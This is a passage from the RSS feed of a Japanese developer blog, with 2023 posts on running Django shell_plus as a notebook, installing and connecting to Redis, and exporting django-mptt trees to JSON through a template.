&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DJANGO_ALLOW_ASYNC_UNSAFE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;true python manage.py shell_plus --notebook
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;URLが表示されるので、ブラウザでアクセスする&lt;/p&gt;</description></item><item><title>redis</title><link>https://hdknr.github.io/blogs/posts/2023/05/redis/</link><pubDate>Fri, 05 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/redis/</guid><description>&lt;h2 id="redis"&gt;redis&lt;/h2&gt;
&lt;h3 id="ubuntu"&gt;Ubuntu&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt install redis-server -y
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ ps ax | grep redis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1083463&lt;/span&gt; ? Ssl 0:00 /usr/bin/redis-server 127.0.0.1:6379
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="redis-cli"&gt;redis-cli&lt;/h2&gt;
&lt;p&gt;redis-cliコマンドでデータベース1に接続するには、次のように入力します。¹²&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;redis-cli -n 1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;このコマンドは、データベース1に接続するためのものです。&lt;code&gt;-n&lt;/code&gt;オプションを使用して、データベース番号を指定します。&lt;/p&gt;
&lt;p&gt;上記の例では、データベース番号が1であることを示しています。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/5&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) redis-cliの接続時によく使うコマンド使い方メモ - Qiita. &lt;a href="https://qiita.com/a-nishimura/items/54b0d85dbce47685a36f"&gt;https://qiita.com/a-nishimura/items/54b0d85dbce47685a36f&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) 【入門】Redis - Qiita. &lt;a href="https://qiita.com/wind-up-bird/items/f2d41d08e86789322c71"&gt;https://qiita.com/wind-up-bird/items/f2d41d08e86789322c71&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) redis-cliの使い方 - Qiita. &lt;a href="https://qiita.com/sawada_masahiko/items/1f60936c421ecab8dfbf"&gt;https://qiita.com/sawada_masahiko/items/1f60936c421ecab8dfbf&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(4) redis-cliでよく使うコマンド20選 - Qiita. &lt;a href="https://qiita.com/hatsu/items/a52817364160e0b6bb60"&gt;https://qiita.com/hatsu/items/a52817364160e0b6bb60&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(5) Redisコマンド一覧 - Qiita. &lt;a href="https://qiita.com/taiba/items/18016906d80c13e88853"&gt;https://qiita.com/taiba/items/18016906d80c13e88853&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(6) リモート環境にあるRedisに接続する - 箱のプログラミング日記。. &lt;a href="https://www.y-hakopro.com/entry/2020/10/31/185235"&gt;https://www.y-hakopro.com/entry/2020/10/31/185235&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="django"&gt;Django&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;poetry add django&lt;span style="color:#f92672"&gt;-&lt;/span&gt;redis
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;settings.py:&lt;/p&gt;</description></item><item><title>djang-mptt: tree 構造で export する</title><link>https://hdknr.github.io/blogs/posts/2023/05/djang-mptt-tree-%E6%A7%8B%E9%80%A0%E3%81%A7-export-%E3%81%99%E3%82%8B/</link><pubDate>Thu, 04 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/djang-mptt-tree-%E6%A7%8B%E9%80%A0%E3%81%A7-export-%E3%81%99%E3%82%8B/</guid><description>&lt;h2 id="django-mptt-tree-モデルを-エクスポート"&gt;django-mptt: Tree モデルを エクスポート&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mptt_tags&lt;/code&gt; テンプレートライブラリ の &lt;code&gt;recursetree&lt;/code&gt; / &lt;code&gt;endrecursetree&lt;/code&gt; タグを使う&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;profiles/templates/profile/workgroup/tree.json:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&lt;span style="color:#960050;background-color:#1e0010"&gt;%&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;load&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;mptt_tags&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;%&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&lt;span style="color:#960050;background-color:#1e0010"&gt;%&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;recursetree&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;nodes&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;%&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{ node.id }}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{ node.code|default:&amp;#39;&amp;#39;}}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{ node.name }}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;path&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{ node.path }}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;full_name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{ node.full_name }}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: {},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;children&amp;#34;&lt;/span&gt;: [{&lt;span style="color:#960050;background-color:#1e0010"&gt;{&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;children&lt;/span&gt; }&lt;span style="color:#960050;background-color:#1e0010"&gt;}&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}{&lt;span style="color:#960050;background-color:#1e0010"&gt;%&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;if&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;node.get_next_sibling&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;%&lt;/span&gt;},{&lt;span style="color:#960050;background-color:#1e0010"&gt;%&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;endif&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;%&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&lt;span style="color:#960050;background-color:#1e0010"&gt;%&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;endrecursetree&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;%&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.template &lt;span style="color:#f92672"&gt;import&lt;/span&gt; engines, loader
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.utils.safestring &lt;span style="color:#f92672"&gt;import&lt;/span&gt; mark_safe
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; QuerySet
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;(src, request&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, engine_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;django&amp;#34;&lt;/span&gt;, safe&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;ctx):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; text &lt;span style="color:#f92672"&gt;=&lt;/span&gt; engines[engine_name]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;from_string(src)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;render(ctx, request&lt;span style="color:#f92672"&gt;=&lt;/span&gt;request)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; safe &lt;span style="color:#f92672"&gt;and&lt;/span&gt; mark_safe(text) &lt;span style="color:#f92672"&gt;or&lt;/span&gt; text
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;render_by&lt;/span&gt;(name, request&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, safe&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;ctx):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; t &lt;span style="color:#f92672"&gt;=&lt;/span&gt; loader&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_template(name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; text &lt;span style="color:#f92672"&gt;=&lt;/span&gt; t&lt;span style="color:#f92672"&gt;.&lt;/span&gt;render(ctx, request&lt;span style="color:#f92672"&gt;=&lt;/span&gt;request)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; safe &lt;span style="color:#f92672"&gt;and&lt;/span&gt; mark_safe(text) &lt;span style="color:#f92672"&gt;or&lt;/span&gt; text
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;export_trees&lt;/span&gt;(nodes, model_class&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, template_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, request&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, safe&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;ctx):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; model_class &lt;span style="color:#f92672"&gt;and&lt;/span&gt; isinstance(nodes, QuerySet):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model_class &lt;span style="color:#f92672"&gt;=&lt;/span&gt; nodes&lt;span style="color:#f92672"&gt;.&lt;/span&gt;model
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; template_name &lt;span style="color:#f92672"&gt;and&lt;/span&gt; model_class:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; template_name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;model_class&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_meta&lt;span style="color:#f92672"&gt;.&lt;/span&gt;app_label&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;model_class&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_meta&lt;span style="color:#f92672"&gt;.&lt;/span&gt;model_name&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/tree.json&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; template_name:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; render_by(template_name, request&lt;span style="color:#f92672"&gt;=&lt;/span&gt;request, safe&lt;span style="color:#f92672"&gt;=&lt;/span&gt;safe, nodes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;nodes, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;ctx)
